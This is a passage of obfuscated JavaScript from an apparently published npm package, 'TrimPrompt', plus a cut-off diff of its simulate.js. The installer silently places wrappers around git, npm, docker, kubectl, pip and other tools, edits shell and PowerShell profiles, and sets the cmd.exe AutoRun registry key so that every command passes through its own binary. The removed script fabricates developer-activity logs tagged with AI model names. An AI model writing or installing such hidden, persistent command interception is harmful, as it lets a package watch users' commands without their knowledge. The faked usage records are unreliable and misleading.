_0xc209f4=['\x20\x22$@\x22;\x20fi\x0a','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','pipe','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','__setModuleDefault','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22',';=%\x22','\x20\x20set\x20\x22PATH=%PATH:','toLowerCase','__createBinding','git',';\x22\x20+\x20$env:PATH\x0a','466816RRTKta','kubectl','docker','get','trim.ps1','grep','755','join','\x0a#\x20',')\x20else\x20(','existsSync','tree',';%PATH%\x22','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','6XRbiGt','5pdMDUC','glab','pip','ignore','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','powershell.exe','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','filter','3343087JtbFlR','execFileSync','-NoProfile','\x20%*','export\x20PATH=\x22','uninstallShims','\x0a$env:PATH\x20=\x20\x22','pnpm','.trimprompt','defineProperty','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','create','prototype','Failed\x20to\x20install\x20shims:\x20','\x20@args\x20}\x20else\x20{\x20&\x20','pip3','\x27,\x20\x27User\x27)','trim','writable','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','1540GJmPQd','includes','writeFileSync','168ldbucn','getOwnPropertyDescriptor','chmodSync','\x20commands.\x0a\x0a','Failed\x20to\x20uninstall\x20shims:\x20','split','$PROFILE.CurrentUserAllHosts','\x0aexport\x20PATH=\x22','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','shims','rmdirSync','.zshrc','win32','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','npx','push','.cmd','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','replace','ruff','message','\x20@args\x20}\x0a','homedir','New-Item\x20-Path\x20\x27','call','cat','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','utf8','.profile','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','powershell','94545fkpoGb','some','readdirSync','\x20\x20trim\x20','if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','__esModule','\x20&\x20','default','pwsh','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27',':$PATH\x22\x0a','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','1688613EuPYwQ','unlinkSync','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','npm','.bashrc','if\x20exist\x20\x22','path','60Othvpr','hasOwnProperty','pytest','child_process','5259668lPoufZ','installShims','4908726VnEAVS','.bash_profile','powershell\x20-NoProfile\x20-Command\x20\x22','length','read','-Command',':$PATH\x22','platform','1194820vQZFKm'];a0_0x5859=function(){return _0xc209f4;};return a0_0x5859();}function a0_0x4300(_0xa18f87,_0xb4ce15){_0xa18f87=_0xa18f87-0x1ed;const _0x5859a6=a0_0x5859();let _0x430058=_0x5859a6[_0xa18f87];return _0x430058;}function getExecSync(){const _0x4d1e38=a0_0x270dd9;return require(_0x4d1e38(0x20c))['execSync'];}function getExecFileSync(){const _0x78d2f2=a0_0x270dd9;return require(_0x78d2f2(0x20c))[_0x78d2f2(0x23c)];}function ensureProfileContains(_0x3cb769,_0x566be2,_0x220a06){const _0x6e0a7c=a0_0x270dd9;try{const _0x31d167=path['dirname'](_0x3cb769);!fs[_0x6e0a7c(0x22e)](_0x31d167)&&fs['mkdirSync'](_0x31d167,{'recursive':!![]});if(fs[_0x6e0a7c(0x22e)](_0x3cb769)){const _0x535bc2=fs['readFileSync'](_0x3cb769,_0x6e0a7c(0x1f2));if(_0x535bc2[_0x6e0a7c(0x251)](_0x566be2))return;fs['appendFileSync'](_0x3cb769,_0x220a06,'utf8');}else fs[_0x6e0a7c(0x252)](_0x3cb769,_0x220a06,_0x6e0a7c(0x1f2));}catch{}}function removeProfileBlock(_0x6b26c8,_0x283da1){const _0x4672a9=a0_0x270dd9;try{if(!fs[_0x4672a9(0x22e)](_0x6b26c8))return;const _0x17225e=fs['readFileSync'](_0x6b26c8,_0x4672a9(0x1f2));if(!_0x17225e[_0x4672a9(0x251)](_0x283da1))return;const _0x20276f=_0x17225e[_0x4672a9(0x258)]('\x0a'),_0x13ff85=[];let _0x33ac93=![];for(let _0x270715=0x0;_0x270715<_0x20276f[_0x4672a9(0x212)];_0x270715++){if(_0x20276f[_0x270715][_0x4672a9(0x251)](_0x283da1)){_0x33ac93=!![];continue;}if(_0x33ac93){_0x33ac93=![];continue;}_0x13ff85[_0x4672a9(0x263)](_0x20276f[_0x270715]);}const _0x477cfb=_0x13ff85[_0x4672a9(0x22b)]('\x0a')[_0x4672a9(0x266)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x6b26c8,_0x477cfb,_0x4672a9(0x1f2));}catch{}}function collectPowerShellProfiles(){const _0x2ece85=a0_0x270dd9,_0x5913c2=getExecSync(),_0x547024=[],_0x30baff=[[_0x2ece85(0x1f5),'$PROFILE.CurrentUserCurrentHost'],['powershell',_0x2ece85(0x259)]];try{_0x5913c2('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x2ece85(0x236)}),_0x30baff['push']([_0x2ece85(0x1fe),_0x2ece85(0x259)]);}catch{}for(const [_0x397c43,_0x2469a9]of _0x30baff){try{const _0x570130=_0x5913c2(_0x397c43+'\x20-NoProfile\x20-Command\x20\x22'+_0x2469a9+'\x22',{'encoding':_0x2ece85(0x1f2)})[_0x2ece85(0x24c)]();_0x570130&&!_0x547024[_0x2ece85(0x1f7)](_0x34e73a=>_0x34e73a[_0x2ece85(0x220)]()===_0x570130['toLowerCase']())&&_0x547024['push'](_0x570130);}catch{}}return _0x547024;}function getBashProfilesWindows(){const _0x3ac711=a0_0x270dd9,_0x3086ed=os['homedir']();return[_0x3ac711(0x206),'.bash_profile']['map'](_0x1a709e=>path[_0x3ac711(0x22b)](_0x3086ed,_0x1a709e));}function getBroadcastCommand(){const _0xc563ca=a0_0x270dd9;return _0xc563ca(0x1f4);}function installShims(){const _0x3de8a8=a0_0x270dd9,_0x342adb=path[_0x3de8a8(0x22b)](os[_0x3de8a8(0x1ed)](),_0x3de8a8(0x243),'shims');try{!fs['existsSync'](_0x342adb)&&fs['mkdirSync'](_0x342adb,{'recursive':!![]});const _0x1171b5=os[_0x3de8a8(0x216)]()==='win32';for(const _0x4a43f4 of SHIMMED_COMMANDS){if(_0x1171b5){const _0x8223f6=path['join'](_0x342adb,_0x4a43f4+_0x3de8a8(0x264)),_0x98261b=process.env.APPDATA?path[_0x3de8a8(0x22b)](process.env.APPDATA,_0x3de8a8(0x205)):'',_0x434037=_0x98261b?_0x3de8a8(0x207)+path[_0x3de8a8(0x22b)](_0x98261b,'trim.cmd')+'\x22':_0x3de8a8(0x237),_0x345563=['@echo\x20off',_0x434037+'\x20(',_0x3de8a8(0x1f9)+_0x4a43f4+_0x3de8a8(0x23e),_0x3de8a8(0x22d),_0x3de8a8(0x21f)+_0x342adb+_0x3de8a8(0x21e),'\x20\x20'+_0x4a43f4+_0x3de8a8(0x23e),')']['join']('\x0d\x0a')+'\x0d\x0a';fs['writeFileSync'](_0x8223f6,_0x345563,_0x3de8a8(0x1f2));const _0x4cebd0=path[_0x3de8a8(0x22b)](_0x342adb,_0x4a43f4+'.ps1'),_0xb83e08=_0x3de8a8(0x1fa)+_0x4a43f4+_0x3de8a8(0x249)+_0x4a43f4+_0x3de8a8(0x269);fs[_0x3de8a8(0x252)](_0x4cebd0,_0xb83e08,_0x3de8a8(0x1f2));const _0x360933=path[_0x3de8a8(0x22b)](_0x342adb,_0x4a43f4),_0x5649eb=_0x342adb['replace'](/\\/g,'/')[_0x3de8a8(0x266)](/^([A-Za-z]):/,(_0x14fb16,_0x26253f)=>'/'+_0x26253f['toLowerCase']()),_0x10fc5d=_0x3de8a8(0x21b)+_0x4a43f4+_0x3de8a8(0x204)+_0x5649eb+':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'+_0x4a43f4+_0x3de8a8(0x218);fs[_0x3de8a8(0x252)](_0x360933,_0x10fc5d,_0x3de8a8(0x1f2));}else{const _0x42e283=path[_0x3de8a8(0x22b)](_0x342adb,_0x4a43f4),_0x27f616=_0x3de8a8(0x21b)+_0x4a43f4+_0x3de8a8(0x25b)+_0x4a43f4+_0x3de8a8(0x218);fs[_0x3de8a8(0x252)](_0x42e283,_0x27f616,'utf8'),fs[_0x3de8a8(0x255)](_0x42e283,_0x3de8a8(0x22a));}}let _0x4d0f4c=![],_0x203bf1='';if(_0x1171b5)try{const _0x3a7350=getExecSync(),_0x63acad=_0x3de8a8(0x22c)+PROFILE_MARKER+_0x3de8a8(0x241)+_0x342adb+_0x3de8a8(0x223),_0x19c60b=collectPowerShellProfiles();for(const _0x3df8f0 of _0x19c60b){ensureProfileContains(_0x3df8f0,_0x342adb,_0x63acad);}try{const _0x2dc842=getExecFileSync(),_0x2fe6a0=_0x3de8a8(0x207)+_0x342adb+'\x22\x20set\x20\x22PATH='+_0x342adb+_0x3de8a8(0x230),_0x1f0659=_0x3de8a8(0x231);let _0x3ce7ce='';try{const _0x2cf688='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x1f0659+_0x3de8a8(0x219);_0x3ce7ce=_0x2dc842('powershell.exe',['-NoProfile',_0x3de8a8(0x214),_0x2cf688],{'encoding':_0x3de8a8(0x1f2),'stdio':[_0x3de8a8(0x21a),'pipe',_0x3de8a8(0x236)]})['trim']();}catch{}if(!_0x3ce7ce[_0x3de8a8(0x251)](_0x342adb)){const _0xdff94d=_0x3ce7ce?_0x3ce7ce+_0x3de8a8(0x1fc)+_0x2fe6a0:_0x2fe6a0,_0x3d5a3c=_0x3de8a8(0x1ee)+_0x1f0659+_0x3de8a8(0x24f)+_0x1f0659+_0x3de8a8(0x1ff)+_0xdff94d+'\x27';_0x2dc842(_0x3de8a8(0x238),[_0x3de8a8(0x23d),_0x3de8a8(0x214),_0x3d5a3c],{'stdio':_0x3de8a8(0x236)});}}catch{}try{const _0x19da4e=_0x342adb[_0x3de8a8(0x266)](/\\/g,'/')[_0x3de8a8(0x266)](/^([A-Za-z]):/,(_0x1f8d4a,_0x2ebeb7)=>'/'+_0x2ebeb7[_0x3de8a8(0x220)]()),_0x1092de=_0x3de8a8(0x22c)+PROFILE_MARKER+_0x3de8a8(0x25a)+_0x19da4e+_0x3de8a8(0x200),_0x229d5a=getBashProfilesWindows();let _0x16016a=![];for(const _0x3e5c87 of _0x229d5a){fs[_0x3de8a8(0x22e)](_0x3e5c87)&&(ensureProfileContains(_0x3e5c87,_0x19da4e,_0x1092de),_0x16016a=!![]);}!_0x16016a&&ensureProfileContains(_0x229d5a[0x0],_0x19da4e,_0x1092de);}catch{}const _0x2c570d=_0x3de8a8(0x261),_0x1a5445=_0x3a7350(_0x3de8a8(0x211)+_0x2c570d+'\x22',{'encoding':_0x3de8a8(0x1f2),'stdio':['pipe','pipe',_0x3de8a8(0x236)]})[_0x3de8a8(0x24c)]();if(!_0x1a5445['includes'](_0x342adb)){const _0x471934=_0x342adb+';'+_0x1a5445,_0x2c3f4f=_0x471934[_0x3de8a8(0x266)](/'/g,'\x27\x27'),_0x3b71e4=_0x3de8a8(0x245)+_0x2c3f4f+_0x3de8a8(0x24b);_0x3a7350(_0x3de8a8(0x211)+_0x3b71e4+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3de8a8(0x236)});}const _0x5800d0=path[_0x3de8a8(0x22b)](process.env.APPDATA||'',_0x3de8a8(0x205),_0x3de8a8(0x228));if(fs['existsSync'](_0x5800d0))try{fs[_0x3de8a8(0x203)](_0x5800d0);}catch{}_0x4d0f4c=!![];}catch(_0x5480df){_0x203bf1='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0x342adb;}else try{const _0x467ceb=_0x3de8a8(0x23f)+_0x342adb+_0x3de8a8(0x200),_0x2c0a39=os[_0x3de8a8(0x1ed)](),_0x5cb147=[_0x3de8a8(0x206),_0x3de8a8(0x25f),_0x3de8a8(0x210),'.profile'];let _0x6cd33a=![];for(const _0x5e2acf of _0x5cb147){const _0x583536=path[_0x3de8a8(0x22b)](_0x2c0a39,_0x5e2acf);fs['existsSync'](_0x583536)&&(ensureProfileContains(_0x583536,_0x342adb,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x467ceb),_0x6cd33a=!![]);}if(!_0x6cd33a){const _0x308e57=path[_0x3de8a8(0x22b)](_0x2c0a39,_0x3de8a8(0x206));ensureProfileContains(_0x308e57,_0x342adb,_0x3de8a8(0x22c)+PROFILE_MARKER+'\x0a'+_0x467ceb);}_0x4d0f4c=!![];}catch(_0x1a7704){_0x203bf1=_0x3de8a8(0x21d)+_0x342adb+_0x3de8a8(0x215);}const _0x2c1c03=_0x3de8a8(0x239)+SHIMMED_COMMANDS[_0x3de8a8(0x212)]+_0x3de8a8(0x256),_0x34152b=_0x4d0f4c?_0x2c1c03+_0x3de8a8(0x24e):_0x2c1c03+_0x3de8a8(0x201)+_0x203bf1;return{'success':!![],'pathDir':_0x342adb,'message':_0x34152b};}catch(_0x1ac53b){return{'success':![],'pathDir':_0x342adb,'message':_0x3de8a8(0x248)+_0x1ac53b[_0x3de8a8(0x268)]};}}function uninstallShims(){const _0x54c3f3=a0_0x270dd9,_0x396098=path['join'](os[_0x54c3f3(0x1ed)](),_0x54c3f3(0x243),_0x54c3f3(0x25d)),_0x41b48d=os[_0x54c3f3(0x216)]()===_0x54c3f3(0x260);try{if(_0x41b48d){const _0x3709c1=getExecSync();try{const _0x32e4d7=getExecFileSync(),_0x4604b2='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x2b69e0=_0x54c3f3(0x265)+_0x4604b2+_0x54c3f3(0x219),_0x3c9016=_0x32e4d7(_0x54c3f3(0x238),[_0x54c3f3(0x23d),_0x54c3f3(0x214),_0x2b69e0],{'encoding':'utf8','stdio':[_0x54c3f3(0x21a),_0x54c3f3(0x21a),_0x54c3f3(0x236)]})[_0x54c3f3(0x24c)]();if(_0x3c9016[_0x54c3f3(0x251)](_0x396098)){const _0x1351eb=_0x3c9016[_0x54c3f3(0x258)](_0x54c3f3(0x1fc))['filter'](_0x2ddfb0=>!_0x2ddfb0[_0x54c3f3(0x251)](_0x396098));if(_0x1351eb['length']===0x0){const _0x1cf4f8='Remove-ItemProperty\x20-Path\x20\x27'+_0x4604b2+_0x54c3f3(0x1f1);_0x32e4d7(_0x54c3f3(0x238),[_0x54c3f3(0x23d),_0x54c3f3(0x214),_0x1cf4f8],{'stdio':_0x54c3f3(0x236)});}else{const _0x50d39e=_0x1351eb['join'](_0x54c3f3(0x1fc)),_0x518900='Set-ItemProperty\x20-Path\x20\x27'+_0x4604b2+'\x27\x20-Name\x20AutoRun\x20-Value\x20\x27'+_0x50d39e+'\x27';_0x32e4d7('powershell.exe',[_0x54c3f3(0x23d),_0x54c3f3(0x214),_0x518900],{'stdio':'ignore'});}}}catch{}try{const _0x520b3c=collectPowerShellProfiles();for(const _0x3ce9c8 of _0x520b3c){removeProfileBlock(_0x3ce9c8,PROFILE_MARKER);}}catch{}try{for(const _0x59c14a of getBashProfilesWindows()){removeProfileBlock(_0x59c14a,PROFILE_MARKER);}}catch{}try{const _0xae0904=_0x54c3f3(0x261),_0x2b0725=_0x3709c1(_0x54c3f3(0x211)+_0xae0904+'\x22',{'encoding':_0x54c3f3(0x1f2),'stdio':['pipe','pipe',_0x54c3f3(0x236)]})['trim']();if(_0x2b0725[_0x54c3f3(0x251)](_0x396098)){const _0x3b7b58=_0x2b0725[_0x54c3f3(0x258)](';')[_0x54c3f3(0x23a)](_0x3d57e3=>_0x3d57e3[_0x54c3f3(0x24c)]()['toLowerCase']()!==_0x396098[_0x54c3f3(0x220)]())[_0x54c3f3(0x22b)](';'),_0x5c97df=_0x3b7b58[_0x54c3f3(0x266)](/'/g,'\x27\x27'),_0x20d312='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x5c97df+'\x27,\x20\x27User\x27)';_0x3709c1(_0x54c3f3(0x211)+_0x20d312+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x54c3f3(0x236)});}}catch{}}else{const _0x33dd55=os['homedir'](),_0x44ac75=[_0x54c3f3(0x206),'.zshrc',_0x54c3f3(0x210),_0x54c3f3(0x1f3)];for(const _0x59484c of _0x44ac75){removeProfileBlock(path['join'](_0x33dd55,_0x59484c),PROFILE_MARKER);}}if(fs[_0x54c3f3(0x22e)](_0x396098)){const _0x31df22=fs[_0x54c3f3(0x1f8)](_0x396098);for(const _0x5dbf5b of _0x31df22){fs[_0x54c3f3(0x203)](path[_0x54c3f3(0x22b)](_0x396098,_0x5dbf5b));}fs[_0x54c3f3(0x25e)](_0x396098);}return{'success':!![],'message':_0x54c3f3(0x25c)};}catch(_0x285e04){return{'success':![],'message':_0x54c3f3(0x257)+_0x285e04['message']};}}
package/simulate.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x625320=a0_0x401d;(function(_0x1df433,_0x18694c){const _0x511079=a0_0x401d,_0x9593dc=_0x1df433();while(!![]){try{const _0x5427cc=-parseInt(_0x511079(0x204))/0x1*(-parseInt(_0x511079(0x1fd))/0x2)+parseInt(_0x511079(0x1c6))/0x3+parseInt(_0x511079(0x1e9))/0x4*(-parseInt(_0x511079(0x1ff))/0x5)+parseInt(_0x511079(0x1df))/0x6+-parseInt(_0x511079(0x1f7))/0x7+-parseInt(_0x511079(0x1de))/0x8*(-parseInt(_0x511079(0x1eb))/0x9)+-parseInt(_0x511079(0x1d8))/0xa*(parseInt(_0x511079(0x1f6))/0xb);if(_0x5427cc===_0x18694c)break;else _0x9593dc['push'](_0x9593dc['shift']());}catch(_0x1f13ac){_0x9593dc['push'](_0x9593dc['shift']());}}}(a0_0x592a,0xb1257));Object[a0_0x625320(0x1f4)](exports,a0_0x625320(0x1fa),{'value':!![]});function a0_0x592a(){const _0x400f2b=['7287258jHIOlq','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','join','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','Completed\x203\x20of\x203\x20assets\x20successfully.','claude-3-opus','timestamp','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','3394852TcEaBU','pip\x20install\x20tensorflow\x20pandas\x20numpy','1523439UBcIhO','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','tracker','npm\x20install\x20lodash\x20express\x20uuid\x20react','homedir','found\x200\x20vulnerabilities\x0a','claude-3-5-sonnet','log','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','defineProperty','gemini-1-5-flash','22tnGkiY','6099478RwDKuH','npm\x20run\x20lint','.trimprompt','__esModule','cargo\x20test:\x2045\x20passed,\x200\x20failed.','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','722422FrPwsc','cargo\x20test','5hneKkE','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','now','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','git\x20log\x20-n\x205','1HdUySV','test\x20tests::test_case_','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','kubectl\x20get\x20pods\x20-n\x20production','writeFileSync','stringify','266643UHZmkK','random','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','gpt-4o','length','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','raw','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','getLogs','logExecution','repeat','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','2019370VDkdFK','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','exitCode','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','56LXxiOP'];a0_0x592a=function(){return _0x400f2b;};return a0_0x592a();}const tracker_1=require('./tracker');function a0_0x401d(_0x318892,_0x4aadaa){_0x318892=_0x318892-0x1c1;const _0x592a14=a0_0x592a();let _0x401da5=_0x592a14[_0x318892];return _0x401da5;}console[a0_0x625320(0x1f2)]('Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...');const models=[a0_0x625320(0x1f1),a0_0x625320(0x1c9),'gpt-4o-mini','gemini-1-5-pro',a0_0x625320(0x1f5),a0_0x625320(0x1e6)],commands=[{'cmd':'git\x20diff\x20main','raw':a0_0x625320(0x1d2)[a0_0x625320(0x1d6)](0x32),'comp':a0_0x625320(0x1d7),'exitCode':0x0},{'cmd':a0_0x625320(0x1fe),'raw':a0_0x625320(0x1cc)+a0_0x625320(0x1c1)[a0_0x625320(0x1d6)](0x28)+a0_0x625320(0x1d1),'comp':a0_0x625320(0x1fb),'exitCode':0x0},{'cmd':a0_0x625320(0x1ee),'raw':a0_0x625320(0x1c8)+a0_0x625320(0x1e3)+a0_0x625320(0x1f0),'comp':a0_0x625320(0x1dc),'exitCode':0x0},{'cmd':a0_0x625320(0x1e8),'raw':a0_0x625320(0x202)+a0_0x625320(0x1d3)+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+a0_0x625320(0x1e5),'comp':a0_0x625320(0x1e4),'exitCode':0x0},{'cmd':a0_0x625320(0x1c3),'raw':a0_0x625320(0x1f3)+a0_0x625320(0x1e0)+'trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0x625320(0x1e1)+a0_0x625320(0x1c2),'comp':'kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','exitCode':0x0},{'cmd':a0_0x625320(0x1ea),'raw':a0_0x625320(0x1ec)+a0_0x625320(0x1db)+a0_0x625320(0x1d0),'comp':a0_0x625320(0x1cd),'exitCode':0x0},{'cmd':a0_0x625320(0x203),'raw':a0_0x625320(0x1ce)+a0_0x625320(0x1dd),'comp':a0_0x625320(0x200),'exitCode':0x0},{'cmd':a0_0x625320(0x1f8),'raw':a0_0x625320(0x1cb)+'src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a'+a0_0x625320(0x1d9),'comp':'npm\x20run\x20lint:\x20✖\x202\x20warnings','exitCode':0x0}],startTime=Date[a0_0x625320(0x201)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x625320(0x1ca)]],commandItem=commands[Math['floor'](Math[a0_0x625320(0x1c7)]()*commands[a0_0x625320(0x1ca)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)['toISOString'](),log=tracker_1['tracker'][a0_0x625320(0x1d5)](commandItem['cmd'],commandItem[a0_0x625320(0x1cf)],commandItem['comp'],commandItem[a0_0x625320(0x1da)]),logs=tracker_1[a0_0x625320(0x1ed)][a0_0x625320(0x1d4)]();logs[a0_0x625320(0x1ca)]>0x0&&(logs[logs[a0_0x625320(0x1ca)]-0x1][a0_0x625320(0x1e7)]=timestamp,require('fs')[a0_0x625320(0x1c4)](require('path')[a0_0x625320(0x1e2)](require('os')[a0_0x625320(0x1ef)](),a0_0x625320(0x1f9),'stats.json'),JSON[a0_0x625320(0x1c5)](logs,null,0x2),'utf8'));}console[a0_0x625320(0x1f2)](a0_0x625320(0x1fc));
1
+ 'use strict';const a0_0x4c2eb3=a0_0x4584;(function(_0x49bcad,_0x1650d0){const _0x23e690=a0_0x4584,_0x147c50=_0x49bcad();while(!![]){try{const _0x334b4d=-parseInt(_0x23e690(0xe4))/0x1+parseInt(_0x23e690(0xf9))/0x2*(-parseInt(_0x23e690(0xed))/0x3)+parseInt(_0x23e690(0xf5))/0x4+-parseInt(_0x23e690(0x11c))/0x5*(-parseInt(_0x23e690(0x11b))/0x6)+parseInt(_0x23e690(0x10c))/0x7*(-parseInt(_0x23e690(0xf1))/0x8)+parseInt(_0x23e690(0x119))/0x9*(-parseInt(_0x23e690(0x101))/0xa)+parseInt(_0x23e690(0xfa))/0xb;if(_0x334b4d===_0x1650d0)break;else _0x147c50['push'](_0x147c50['shift']());}catch(_0x478e22){_0x147c50['push'](_0x147c50['shift']());}}}(a0_0x4ed2,0x7ecc5));Object[a0_0x4c2eb3(0xea)](exports,a0_0x4c2eb3(0x116),{'value':!![]});function a0_0x4584(_0x4ec6d5,_0x5402d9){_0x4ec6d5=_0x4ec6d5-0xe4;const _0x4ed230=a0_0x4ed2();let _0x4584f2=_0x4ed230[_0x4ec6d5];return _0x4584f2;}const tracker_1=require('./tracker');console['log'](a0_0x4c2eb3(0x108));const 